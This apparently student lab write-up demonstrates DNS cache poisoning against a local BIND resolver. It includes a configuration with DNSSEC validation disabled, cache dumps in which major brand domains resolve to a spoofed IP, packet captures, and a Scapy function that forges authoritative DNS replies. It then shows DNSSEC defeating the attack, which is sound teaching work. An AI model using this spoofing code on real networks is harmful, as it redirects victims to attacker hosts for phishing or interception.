

DNS Poisoning

First, we wanted to spoof all addresses to be www.jct.ac.il

In the code, we can change the SPOOFED IP from "185.186.66.220" to any other IP address, this is just POC.

```
kali@kali: ~  
File Actions Edit View Help  
GNU nano 7.2 /etc/bind/named.conf.options  
// Uncomment the following block, and insert the addresses replacing  
// the all-0's placeholder.  
recursion yes;  
allow-query { any; };  
forwarders {  
    8.8.8.8; // Google DNS  
};  
  
//  
// If BIND logs error messages about the root key being expired,  
// you will need to update your keys. See https://www.isc.org/bind-  
//  
//dnssec-validation auto;  
dnssec-validation no;
```

```
(kali@kali)-[~]  
$ sudo rndc flush
```

```
(kali@kali)-[~]  
$ sudo systemctl restart named
```

```
(kali@kali)-[~]  
$ nslookup dior.com localhost  
Server: localhost  
Address: ::1#53  
  
Non-authoritative answer:  
Name: dior.com  
Address: 185.186.66.220
```

Yuval Yefet

Jeremie Tordjman

```
(kali㉿kali)-[~]
└─$ sudo rndc dumpdb -cache
sudo cat /var/cache/bind/named_dump.db | grep 185
amazon.com.          857      A        185.186.66.220
dior.com.            985      A        185.186.66.220
youtube.com.         831      A        185.186.66.220
;      198.97.190.53 [srtt 18516] [flags 00000040] [edns 1/0] [plain 1
/0] [udpsize 512] [ttl 1631]
```

```
(kali㉿kali)-[~]
└─$ dig @localhost gucci.com

; <<>> DiG 9.19.21-1+b1-Debian <<>> @localhost gucci.com
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; —>HEADER<— opcode: QUERY, status: NOERROR, id: 2137
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 6c64d3a201efc1aa01000000667d7463348ae35c0a0d6bb0 (good)
;; QUESTION SECTION:
;gucci.com.                IN      A

;; ANSWER SECTION:
gucci.com.                 1000    IN      A      185.186.66.220

;; Query time: 3029 msec
```

Yuval Yefet

Jeremie Tordjman

The cache file

```
(kali㉿kali)-[~]
$ sudo rndc dumpdb -cache
sudo cat /var/cache/bind/named_dump.db | grep 185
amazon.com.          691      A        185.186.66.220
dior.com.            819      A        185.186.66.220
                    955      A        185.186.66.220
youtube.com.         665      A        185.186.66.220
dns4.comlaude-dns.eu. 956      A        185.186.66.220
dns2.comlaude-dns.net. 956      A        185.186.66.220
dns3.comlaude-dns.co.uk. 956      A        185.186.66.220
; 185.186.66.220 [srtt 9] [flags 00000000] [edns 0/0] [plain 0/0]
; 185.186.66.220 [srtt 9] [flags 00000000] [edns 0/0] [plain 0/0]
; 185.186.66.220 [srtt 9] [flags 00000000] [edns 0/0] [plain 0/0]
; 2001:7fd::1 [srtt 118560] [flags 00000000] [edns 0/6] [plain 0/0] [tt
l 1465]

(kali㉿kali)-[~]
$ sudo rndc dumpdb -cache
sudo cat /var/cache/bind/named_dump.db | grep gucci
gucci.com.           172740   NS       dns1.comlaude-dns.com.
```

Yuval Yefet

Jeremie Tordjman

With DNSSEC: the attack does not work

```
(kali㉿kali)-[~]  
$ sudo nano /etc/bind/named.conf.options  
  
(kali㉿kali)-[~]  
$ sudo systemctl restart named
```

Receiving the key from the root as mentioned in configuration:

dns						
No.	Time	Source	Destination	Protocol	Length	Info
55	23.184138724	10.0.0.22	8.8.8.8	DNS	82	Standard query 0x178a DNSKEY <Root>
56	23.184500864	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
57	23.184500864	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
58	23.184500864	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
59	23.184500864	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
60	23.184500864	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
61	24.7	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
62	24.7	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
63	25.5	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
64	26.3	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1
65	27.1	2a06:c701:4df6:1600:20c:29	2001:7fd::1	DNS	102	Standard query 0xa2bb NS <Root> OP1

```
(kali㉿kali)-[~]  
$ nslookup nike.com localhost  
;; communications error to ::1#53: timed out  
;; communications error to ::1#53: timed out  
;; Got SERVFAIL reply from ::1, trying next server  
Server:          localhost  
Address:         127.0.0.1#53  
  
** server can't find nike.com: SERVFAIL  
  
(kali㉿kali)-[~]  
$ nslookup gucci.com localhost  
;; communications error to ::1#53: timed out  
;; communications error to ::1#53: timed out  
;; Got SERVFAIL reply from ::1, trying next server  
Server:          localhost  
Address:         127.0.0.1#53  
  
** server can't find gucci.com: SERVFAIL
```

Yuval Yefet [REDACTED]
Jeremie Tordjman [REDACTED]

When applying DNSSEC, before the attack begins, responses should look like the first blue row, and when the victim is under attack, the responses are like the second blue row – without any DNSSEC messages:

199.7.91.13	DNS	82 Standard query 0x5ee0 NS <Root> OPT
10.0.0.22	DNS	1139 Standard query response 0x5ee0 NS <Root> NS a.root-servers.net NS b.root-servers.net...
10.0.0.22	DNS	608 Standard query response 0xf62a DS nike.com NSEC3 RRSIG SOA a.gtld-servers.net RRSIG ...
8.8.8.8	DNS	86 Standard query 0x1a69 DNSKEY com OPT
10.0.0.22	DNS	333 Standard query response 0x1a69 DNSKEY com DNSKEY DNSKEY RRSIG OPT
8.8.8.8	DNS	93 Standard query 0xc21c A amazon.com OPT
10.0.0.22	DNS	96 Standard query response 0xc21c A amazon.com A 185.186.66.220
R R R R	DNS	93 Standard query 0x9086 DS amazon.com OPT

And we can see that the response does not contain the z value:

```
▼ <Root>: type OPT
  Name: <Root>
  Type: OPT (41)
  UDP payload size: 1232
  Higher bits in extended RCODE: 0x00
  EDNS0 version: 0
  ▼ Z: 0x8000
    1... .. = DO bit: Accepts DNSSEC security RRs
    .000 0000 0000 0000 = Reserved: 0x0000
  Data length: 12
  ▶ Option: COOKIE
```

Yuval Yefet [REDACTED]
Jeremie Tordjman [REDACTED]

def poisoning(pkt):

```
    if pkt.haslayer(DNS) and pkt[DNS].qr == 0: # DNS query
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
            UDP(dport=pkt[UDP].sport, sport=53) / \
            DNS(id=pkt[DNS].id, qr=1, aa=1, ad=1, rd=1, ra=1, qd=pkt[DNS].qd,
                an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1000, rdata=SPOOFED_IP))

    send(spoofed_pkt, verbose=0)
```

The poisoning(pkt) function is designed to perform DNS spoofing by intercepting DNS query packets (pkt.haslayer(DNS) and pkt[DNS].qr == 0). When it detects such a packet, indicating a DNS query, it constructs a spoofed DNS response (spoofed_pkt). This response is crafted to appear authoritative (aa=1) and legitimate, containing a spoofed IP address (SPOOFED_IP) in the answer section (an). The function then sends this spoofed packet back to the original sender of the DNS query.